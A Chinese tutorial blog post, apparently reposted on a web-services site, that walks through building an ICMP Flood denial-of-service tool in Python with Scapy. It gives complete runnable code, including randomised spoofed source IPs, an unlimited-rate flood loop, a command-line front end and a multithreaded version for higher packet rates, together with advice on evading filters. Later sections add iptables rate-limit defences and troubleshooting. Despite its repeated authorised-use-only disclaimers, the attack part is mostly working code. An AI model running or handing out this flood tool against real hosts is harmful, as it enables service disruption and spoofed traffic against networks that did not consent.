Python+Scapy模拟ICMP Flood攻击:从协议原理到安全测试实践
2026/7/27 12:48:21 网站建设 项目流程

1. 项目概述:从网络诊断到安全测试的视角转换

最近在整理一些关于网络协议栈和网络安全的教学材料,发现很多朋友对“洪水攻击”这个概念既熟悉又陌生。熟悉是因为在各种安全新闻里经常听到,陌生则是很少有人真正动手去拆解过它的数据包构成和发送逻辑。正好,手头有个用Python和Scapy模拟ICMP Flood攻击的实践项目,我觉得这是一个绝佳的切入点,既能深入理解ICMP协议本身,又能直观感受网络流量的生成与控制。

这个项目本质上是一个网络流量生成器,核心目标是模拟海量的ICMP Echo Request(也就是我们常说的ping请求)数据包,并以极高的速率发送到目标主机。它不是为了“搞破坏”——在未经授权的网络上进行攻击是非法且不道德的。它的真正价值在于安全测试与教学验证。比如,在你的实验室环境或得到明确授权的测试网络中,你可以用它来:

  1. 验证网络设备的防护能力:测试你的防火墙、入侵检测系统(IDS)或路由器在面对异常流量时的表现和阈值。
  2. 理解协议栈处理机制:观察目标主机或网络设备在资源耗尽(如CPU、带宽、连接表)时的反应,加深对操作系统网络栈的理解。
  3. 学习Scapy这个强大的工具:Scapy是Python中操作网络数据包的“瑞士军刀”,通过这个项目你能掌握从数据包构造、分层封装到发送控制的完整流程。

无论你是网络安全爱好者、运维工程师,还是正在学习计算机网络的学生,通过亲手实现这个模拟器,你都能获得远超理论阅读的实践经验。下面,我就带你从原理到代码,完整走一遍。

2. 核心原理与工具选型:为什么是Scapy和ICMP?

在动手写代码之前,我们必须搞清楚两个核心问题:为什么选择ICMP协议作为载体?以及为什么用Scapy而不是其他库?理解这些“为什么”,是写出好代码和有效测试的前提。

2.1 ICMP协议:被“滥用”的善良协议

ICMP(Internet Control Message Protocol,互联网控制报文协议)设计初衷是用于在IP网络设备之间传递控制消息,比如网络通不通、主机是否可达、路由是否可用等。我们最熟悉的ping命令,就是利用ICMP的Echo Request(类型8,代码0)Echo Reply(类型0,代码0)报文来实现的。

它之所以常被用于模拟Flood攻击,源于几个特点:

  1. 无连接性:ICMP基于IP协议,是面向无连接的。发送方无需像TCP那样经历三次握手建立连接,可以直接构造并发送报文。这大大降低了发送开销,便于实现高速发包。
  2. 协议简单:ICMP报文头部相对简单(类型、代码、校验和等),易于构造和填充。一个完整的ICMP Echo Request报文,在IP头之后的有效载荷可以很小,这意味着生成和发送单个数据包的计算和带宽成本很低。
  3. 普遍响应:绝大多数网络主机默认都会响应ICMP Echo Request报文(除非被防火墙明确禁止)。这使得攻击者容易获得反馈,也使得测试流量更容易触发目标系统的协议栈处理流程。
  4. 带宽放大潜力:在所谓的“Smurf攻击”变种中,攻击者可以将源IP伪造成受害者IP,然后向广播地址发送ICMP请求,诱使大量主机同时向受害者回复,形成流量放大。虽然我们本次模拟的是直接攻击,但理解其原理很重要。

注意:在我们的模拟中,我们将严格遵守直接发送模式,并且强烈建议你仅在本地回环地址(127.0.0.1)、隔离的虚拟网络或获得明确书面授权的测试环境中进行。任何对公网或他人私有网络的未授权测试都是非法的。

2.2 Scapy:数据包工匠的利器

Python有很多网络库,如socketdpkt等,但为什么Scapy是此类项目的首选?

  1. 协议栈的完全掌控:Scapy允许你从最底层的以太网帧到最上层的应用层协议,逐层定义和组装数据包。你可以精细控制IP头的TTL、ID字段,ICMP的类型/代码,甚至载荷的每一个字节。这种灵活性是socket库难以比拟的。
  2. “描述即构造”的直观语法:在Scapy中,构造一个数据包就像堆叠积木。IP()/ICMP()这样的语法直观地表示了IP层承载ICMP层。你可以通过show()方法随时查看数据包的详细结构,学习效果极佳。
  3. 强大的发送与嗅探能力:它不仅能发送数据包,还能捕获和解析网络上的流量。这对于测试后的效果分析(比如用Wireshark或Scapy自己嗅探验证)非常方便。
  4. 跨平台与交互性:Scapy可以在Linux、Windows、macOS上运行,并且支持交互式Shell,方便快速调试和验证数据包结构。

相比之下,用原始socket编程实现,你需要手动计算IP和ICMP头的校验和,处理字节序,代码冗长且容易出错。Scapy把这些底层细节都封装好了,让我们能专注于攻击逻辑本身。因此,对于旨在快速实现、易于理解和教学演示的项目,Scapy是不二之选。

3. 环境准备与Scapy安装要点

工欲善其事,必先利其器。虽然Scapy安装简单,但在不同系统上仍有一些细节需要注意,特别是权限问题,这直接关系到你的代码能否成功运行。

3.1 Python环境

建议使用Python 3.6及以上版本。你可以通过命令行检查:

python --version # 或 python3 --version

3.2 安装Scapy

推荐使用pip进行安装,这是最通用的方法:

pip install scapy

对于Python 3,可能需要使用pip3

pip3 install scapy

安装后验证:打开Python解释器,导入Scapy,如果没报错,说明安装成功。

>>> from scapy.all import * >>> scapy.__version__

3.3 操作系统权限与依赖(关键步骤)

这是新手最容易卡住的地方。Scapy发送原始数据包需要操作系统的底层网络套接字权限。

  • Linux/macOS:需要以root权限运行你的Python脚本。因为创建原始套接字(Raw Socket)需要超级用户权限。

    sudo python3 your_script.py

    如果你在PyCharm或VSCode等IDE中运行,也需要以管理员权限启动IDE,或者配置IDE使用sudo运行脚本。

  • Windows:情况更特殊一些。普通管理员权限可能还不够,因为Windows对原始套接字的限制更严格。

    1. 首先,确保你以管理员身份运行你的命令行或IDE。
    2. 其次,Windows可能需要安装Npcap(而非旧版的WinPcap)。Npcap是兼容WinPcap API的更新版本,支持更高版本的Windows和NDIS 6驱动。请务必从官方地址下载安装,安装时记得勾选“安装Npcap in WinPcap API-compatible Mode”选项。
    3. 安装完成后,通常需要重启。

实操心得:在Windows上,如果遇到“无法打开设备”或“权限不足”的错误,99%的原因是没有以管理员身份运行,或者Npcap没有正确安装/启用兼容模式。我的习惯是,在Windows做网络层测试时,直接使用“以管理员身份运行”打开命令提示符或PowerShell,再在其中执行python script.py

3.4 可选但推荐的辅助工具

  1. Wireshark:网络协议分析器。用于捕获和直观查看你脚本发出的数据包,验证其格式、速率和目标是否正确。这是调试和学习的必备神器。
  2. 虚拟机/隔离网络:强烈建议在VirtualBox或VMware创建的虚拟机中运行目标机,在宿主机或另一台虚拟机中运行攻击脚本。这样即使测试导致目标机网络卡顿或崩溃,也不会影响你的主力工作环境。

环境准备好后,我们就可以开始解剖代码了。

4. 代码逐行解析与实现细节

下面是一个结构清晰、功能完整的ICMP Flood模拟器代码。我将它分成几个函数模块来讲解,这比写成一个巨型的main函数更利于理解和复用。

4.1 核心数据包构造函数

这是整个脚本的发动机,负责生产每一个ICMP数据包。

from scapy.all import IP, ICMP, Raw, send, conf import random import time def craft_icmp_packet(dst_ip, packet_size=64): """ 构造一个ICMP Echo Request数据包。 参数: dst_ip (str): 目标IP地址。 packet_size (int): 整个IP数据包的总大小(单位:字节)。默认64字节是一个常见的小包尺寸。 返回: packet: 构造好的Scapy数据包对象。 """ # 1. 构造IP层 # 随机化IP标识符(ID)和源IP,增加数据包的多样性,模拟不同来源,避免被简单的基于IP的规则过滤。 ip_layer = IP( dst=dst_ip, src=f"{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}", id=random.randint(1, 65535), ttl=random.randint(30, 255) # 随机化TTL,模拟不同网络距离的主机 ) # 2. 构造ICMP层 # 类型8,代码0 代表 Echo Request。随机化序列号。 icmp_layer = ICMP( type=8, code=0, seq=random.randint(1, 65535) ) # 3. 构造载荷(Payload) # 计算需要填充的载荷大小。 # IP头最小20字节,ICMP头8字节。所以载荷大小 = packet_size - 20 - 8 payload_size = packet_size - 20 - 8 if payload_size < 0: payload_size = 0 # 防止packet_size设置过小导致负值 # 生成随机字节作为载荷,内容可以是任意数据。 payload = Raw(b'X' * payload_size) # 这里用连续的'X'字符填充,也可用随机字节: os.urandom(payload_size) # 4. 组装数据包 packet = ip_layer / icmp_layer / payload return packet

关键点解析与注意事项:

  • 随机化源IP(IP Spoofing)src参数使用了随机生成的IP。这模拟了攻击者伪造源地址的行为,可以绕过一些基于源IP频率的简单检测。但在实际测试中,如果你的网络有入口过滤(Ingress Filtering),伪造的包可能出不了你的网关。在局域网或本地测试中通常没问题。
  • 包大小计算packet_size指的是整个IP包的长度。IP头通常20字节(无选项),ICMP头8字节。剩余部分就是载荷。一个经典的“ping of death”攻击会使用超大的包(大于65535字节),但这里我们保持正常或较小尺寸来模拟泛洪。
  • 载荷内容:使用Raw(b'X' * payload_size)生成固定内容。你也可以用os.urandom(payload_size)生成随机字节,更贴近真实噪音。固定内容有利于在Wireshark中通过筛选器快速定位我们的流量(例如过滤data.data contains “XXXX”)。

4.2 攻击发送控制函数

有了制造数据包的能力,接下来需要控制发送的节奏和数量。

def send_flood(dst_ip, packet_size=64, count=None, interval=0, verbose=False): """ 发送ICMP Flood流量。 参数: dst_ip (str): 目标IP地址。 packet_size (int): 每个数据包的大小。 count (int, optional): 发送数据包的总数。如果为None,则持续发送直到手动中断。 interval (float): 发送每个数据包之间的间隔(秒)。设置为0表示以最快速度发送。 verbose (bool): 是否打印发送详情。 """ sent_packets = 0 try: if count is None: print(f"[*] 开始对 {dst_ip} 进行持续ICMP Flood攻击 (包大小: {packet_size}字节, 间隔: {interval}秒)...") print("[*] 按 Ctrl+C 停止。") else: print(f"[*] 开始对 {dst_ip} 发送 {count} 个ICMP数据包 (包大小: {packet_size}字节, 间隔: {interval}秒)...") while True: # 如果设置了发送次数,检查是否完成 if count is not None and sent_packets >= count: print(f"[*] 完成!已发送 {sent_packets} 个数据包。") break # 构造并发送数据包 packet = craft_icmp_packet(dst_ip, packet_size) # send()函数默认工作在第三层(网络层),会自动处理路由和链路层。 # `verbose=0` 关闭Scapy自带的发送信息,避免刷屏。 send(packet, verbose=0) sent_packets += 1 if verbose and sent_packets % 100 == 0: # 每100个包打印一次进度 print(f" [-] 已发送: {sent_packets} 个数据包") # 控制发送间隔 if interval > 0: time.sleep(interval) except KeyboardInterrupt: print(f"\n[!] 用户中断。总计发送 {sent_packets} 个数据包。") except Exception as e: print(f"[!] 发送过程中发生错误: {e}")

关键点解析与注意事项:

  • send()函数:Scapy的send()函数工作在第三层(网络层)。它会根据目标IP地址查询系统路由表,找到下一跳和出口网卡,并自动加上适当的链路层头(如以太网头)发送出去。这是最简单直接的发送方式。
  • 发送间隔(Interval)interval=0意味着调用send()后立即循环下一个,这会给CPU和网络栈带来最大压力,产生尽可能高的包速率(PPS, Packets Per Second)。设置一个很小的间隔(如0.001,即1毫秒)可以控制速率,避免在测试时瞬间打满资源导致失去控制(比如你自己都SSH不上测试机了)。
  • verbose参数:Scapy的send(packet, verbose=0)中的verbose=0是为了关闭Scapy内部每发送一个包就打印一行“.”的默认行为,否则屏幕会快速滚动。我们用自己的verbose参数来控制是否打印进度信息。
  • 资源消耗:即使以最快速度发送,单线程Python脚本的发送速率也会受限于Python解释器和send()系统调用的开销。对于追求极致PPS的场景,可能需要用到多线程、sendp()(二层发送)或更底层的socket。但作为原理演示和中小规模测试,当前方式完全足够。

4.3 主函数与参数解析

一个好的脚本应该易于使用和配置。我们使用argparse库来接收命令行参数。

import argparse def main(): parser = argparse.ArgumentParser( description="ICMP Flood攻击模拟器 (仅用于授权测试与教育)", epilog="警告:请在完全隔离的测试环境中使用此工具。" ) parser.add_argument("target", help="目标主机的IP地址。") parser.add_argument("-s", "--size", type=int, default=64, help="每个ICMP数据包的总大小(字节)。默认64。") parser.add_argument("-c", "--count", type=int, default=None, help="发送数据包的总数。默认无限制(持续发送)。") parser.add_argument("-i", "--interval", type=float, default=0.0, help="发送每个数据包之间的间隔(秒)。默认0(最快速度)。") parser.add_argument("-v", "--verbose", action="store_true", help="打印详细发送进度。") args = parser.parse_args() # 简单的参数校验 if args.size < 28: # IP头(20) + ICMP头(8) = 28 print(f"[!] 警告:包大小 {args.size} 字节过小,已自动调整为最小28字节。") args.size = 28 if args.interval < 0: print("[!] 间隔时间不能为负数,已设置为0。") args.interval = 0.0 print("[*] ICMP Flood 模拟器启动") print(f"[*] 目标: {args.target}") print(f"[*] 包大小: {args.size} 字节") print(f"[*] 发送数量: {'无限' if args.count is None else args.count}") print(f"[*] 发送间隔: {args.interval} 秒") print("-" * 40) # 开始攻击 send_flood(args.target, args.size, args.count, args.interval, args.verbose) if __name__ == "__main__": main()

使用方法示例:

# 向192.168.1.100发送1000个大小为100字节的包,间隔0.01秒,显示进度 sudo python3 icmp_flood.py 192.168.1.100 -c 1000 -s 100 -i 0.01 -v # 向127.0.0.1(本机)持续快速发送最小尺寸的包(用于本地测试,观察CPU/网络栈) sudo python3 icmp_flood.py 127.0.0.1 # 发送50000个包,默认大小,最快速度(用于压力测试) sudo python3 icmp_flood.py 192.168.1.100 -c 50000

5. 效果验证与Wireshark分析

代码写完了,怎么知道它是否在工作?发送的包是否符合预期?这里就需要用到Wireshark。

  1. 启动Wireshark并选择网卡:选择你发送流量所使用的物理网卡(如eth0、wlan0)或虚拟网卡(如VMware Network Adapter)。如果目标是127.0.0.1,则选择loopbacklo环回接口。
  2. 设置捕获过滤器:在捕获前,可以设置过滤器以减少噪音。例如,host 192.168.1.100 and icmp只捕获与目标IP相关的ICMP流量。
  3. 运行你的Python脚本
  4. 在Wireshark中观察
    • 流量瀑布:你应该能看到ICMP Echo Request报文像瀑布一样快速出现。
    • 包详情:点击任意一个ICMP包,在下方详情面板中展开Internet Protocol Version 4Internet Control Message Protocol。你应该能看到:
      • 源IP:是随机生成的,每次不同。
      • 目的IP:是你的目标IP。
      • 协议:ICMP (1)
      • Type/Code: 8/0 (Echo request)
      • Identifier/Sequence: 随机值(在Scapy构造中,我们只设置了seq,id由IP层随机化,ICMP的id在Linux下默认是进程ID,Windows下可能固定)。
    • 统计信息:点击菜单栏的统计->捕获文件属性,可以查看平均包速率、数据速率等,量化你的攻击流量。

如何验证攻击效果?在目标机器上(如果是Linux),你可以打开终端,使用以下命令观察系统状态:

  • ping -f 127.0.0.1(如果攻击本机):可能会看到丢包或延迟剧增。
  • tophtop:观察CPU使用率,特别是softirq(软中断)或特定进程的CPU消耗可能会升高,因为内核需要处理大量网络中断。
  • iftopnload:观察网络接口的实时流量,应该能看到入站流量飙升。
  • netstat -s:查看网络统计信息,ICMP部分的计数会快速增长。

实操心得:在虚拟机中测试时,最容易观察到的现象是目标机的网络响应变慢(如SSH卡顿、网页打不开),以及系统监控工具中网络中断处理(softirqd)的CPU占用率显著上升。真正的资源耗尽(如内核崩溃)需要非常高的流量,在虚拟环境或普通PC上单线程脚本不易达到,但这不影响我们理解其原理。

6. 防御视角与进阶思考

作为一个负责任的安全从业者,在了解攻击原理后,更应该思考如何防御。这能让你从更高维度理解这个实验的价值。

6.1 常见的ICMP Flood防御措施

  1. 速率限制(Rate Limiting)

    • 在网络边界(路由器/防火墙):对ICMP Echo Request报文进行速率限制。例如,每秒只允许从同一源IP接收N个ICMP请求,超过的则丢弃。这能有效减缓Flood流量。
    • 在主机层面(操作系统):Linux内核可以通过iptablesnftables设置限制。
      # 示例:使用iptables限制ICMP请求速率 sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 10/second --limit-burst 20 -j ACCEPT sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
      这条规则表示:每秒最多接受10个echo请求,突发允许20个;超过限制的请求将被丢弃。
  2. 过滤无效流量

    • 入口过滤(Ingress Filtering):在边界路由器上,丢弃源IP不是来自其合法子网的数据包。这可以防止伪造源IP的攻击流量从你的网络发出(但防不住进来的伪造包)。
    • 出口过滤(Egress Filtering):同样,丢弃那些源IP不属于你内部网络的外出数据包,防止你的网络被用作攻击跳板。
  3. 关闭不必要的ICMP响应

    • 在非必须对外提供ping服务的服务器上,可以在防火墙策略中完全禁止入站的ICMP Echo Request。但这会影响正常的网络诊断。
  4. 使用DDoS防护服务/设备

    • 对于企业级应用,可以考虑使用云服务商提供的DDoS高防IP,或者部署专业的抗DDoS设备。它们能识别异常流量模式并进行清洗。

6.2 脚本的局限性及进阶优化方向

我们写的这个脚本是“教科书式”的,它简单明了,但也存在一些局限:

  1. 发送速率瓶颈:单线程、同步发送受限于Python和系统调用开销。要产生更大的压力,可以:

    • 使用多线程/多进程:创建多个发送线程。
    • 使用sendp()进行二层发送:绕过部分内核协议栈,可能更快,但需要指定网关MAC地址,更复杂。
    • **使用scapysrloop()或自定义socket:进行更底层的批量发送。
  2. 流量特征明显

    • 载荷规律:我们使用了固定的‘X‘填充,真实攻击可能会使用随机字节。
    • 包大小固定:可以修改craft_icmp_packet函数,让packet_size在一个范围内随机变化,模拟更真实的流量。
    • 协议单一:真实的DDoS攻击往往是混合流量(ICMP、UDP、TCP SYN等)。你可以扩展脚本,随机选择多种协议进行发送。
  3. 缺乏反馈与自适应:脚本只是盲目发送,无法感知目标状态(是否宕机、响应是否变慢)。一个更“智能”的模拟器可以结合简单的探测(如发送少量正常ping测延迟),再动态调整攻击参数。

一个简单的多线程改进示例:

import threading def flood_worker(target_ip, packet_size, stop_event, worker_id): """单个攻击线程的工作函数""" sent = 0 while not stop_event.is_set(): pkt = craft_icmp_packet(target_ip, packet_size) send(pkt, verbose=0) sent += 1 print(f"[*] Worker-{worker_id} 停止,共发送 {sent} 个包。") def send_flood_multithreaded(target_ip, packet_size=64, thread_count=5, duration=10): """ 使用多线程发送ICMP Flood。 参数: duration: 攻击持续时间(秒) """ print(f"[*] 启动 {thread_count} 个线程攻击 {target_ip},持续 {duration} 秒...") stop_event = threading.Event() threads = [] # 启动工作线程 for i in range(thread_count): t = threading.Thread(target=flood_worker, args=(target_ip, packet_size, stop_event, i)) t.start() threads.append(t) # 主线程等待指定时间 time.sleep(duration) # 通知所有线程停止 stop_event.set() # 等待所有线程结束 for t in threads: t.join() print("[*] 所有攻击线程已停止。")

这个多线程版本可以显著提升包发送速率,更接近压力测试的需求。但请注意,线程数不是越多越好,需要根据你的机器性能(CPU核心数、网络中断处理能力)进行调整,否则可能适得其反,导致脚本自身成为瓶颈。

7. 常见问题与排查技巧实录

在实际操作中,你可能会遇到各种问题。这里记录了一些典型场景和我的排查思路。

问题1:运行脚本时报错PermissionError: [Errno 1] Operation not permittedSocket permission denied

  • 原因:没有使用root/管理员权限运行。
  • 解决
    • Linux/macOS:在命令前加sudo
    • Windows:确保以管理员身份运行命令行或IDE。确认Npcap已安装并启用WinPcap兼容模式。

问题2:脚本在运行,但Wireshark抓不到包,或者目标机没反应。

  • 排查步骤
    1. 检查目标IP是否正确:是否在同一网段?能否正常ping通?
    2. 检查防火墙:目标机的防火墙可能丢弃了ICMP请求。在测试初期,可以暂时关闭目标机的防火墙(仅限测试环境!)。
      • Linux:sudo systemctl stop firewalld(CentOS/RHEL) 或sudo ufw disable(Ubuntu)。
      • Windows: 在控制面板中暂时关闭Windows Defender防火墙。
    3. 检查Scapy发送的网卡:默认情况下,send()会根据系统路由表选择出口网卡。如果有多块网卡,可能发错了方向。可以强制指定网卡:
      # 在send函数中指定iface参数 send(packet, iface="eth0", verbose=0) # Linux send(packet, iface="Ethernet", verbose=0) # Windows,网卡名可能在“控制面板网络连接”里查看
    4. 降低发送速率:将interval参数调大(如0.1),先确认低速下是否能收到包。
    5. 在发送机本地抓包:在运行脚本的机器上打开Wireshark,抓取发送流量流出的物理网卡。如果能抓到,说明脚本工作正常,问题出在网络路径或目标端。

问题3:发送速率很低,远达不到网络带宽上限。

  • 原因:这是由Python解释器效率、send()系统调用的开销以及Scapy构造包的消耗共同决定的。单线程脚本的PPS(每秒包数)通常不会太高。
  • 优化尝试
    1. 使用多线程/多进程:如上文示例。
    2. 预构造数据包列表:在循环外批量构造一批数据包(比如1000个),然后在循环中只发送,减少实时构造的开销。但要注意这会增加内存消耗。
    3. 考虑使用更底层的工具:对于极限性能测试,hping3nping或自定义的C语言原始套接字程序是更好的选择。我们这个项目的重点是理解和教学,而非性能竞赛。

问题4:攻击本机(127.0.0.1)时,系统卡顿甚至无响应。

  • 原因:本地回环流量同样会消耗CPU资源来处理协议栈。高速发包可能导致系统忙于处理网络中断,从而影响响应。
  • 建议
    1. 使用interval参数:不要用interval=0攻击本机,设置一个小的间隔如0.0010.0001
    2. 在虚拟机中测试:将攻击机和目标机放在两个不同的虚拟机中,这样即使目标机卡死,宿主机和攻击机虚拟机仍可控制。
    3. 准备好“逃生通道”:如果是物理机测试本机,提前打开一个具有更高nice值的终端,或者准备好系统重启的预案。

问题5:如何知道攻击是否生效?

  • 定性观察:目标机操作卡顿、网络服务(如Web)响应变慢或超时。
  • 定量监控(在目标机上执行):
    • 网络流量iftopnloadvnstat查看实时和历史流量。
    • 系统负载top命令,看%Cpu(s)行,si(软中断)或wa(IO等待)是否很高。使用mpstat -P ALL 1查看每个CPU核心的中断处理情况。
    • 协议栈统计netstat -s | grep -i icmp查看ICMP报文计数器的增长情况。
    • 连接跟踪(如果涉及状态防火墙):conntrack -L查看连接跟踪表项数量(对于TCP/UDP Flood更有用)。

这个项目从一行代码开始,到理解协议、分析流量、思考防御,形成了一个完整的学习闭环。它不仅仅是一个“攻击脚本”,更是一个理解计算机网络、操作系统和网络安全基础概念的绝佳实践载体。记住,能力越大,责任越大。永远在合法、合规、道德的前提下使用你的技术。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询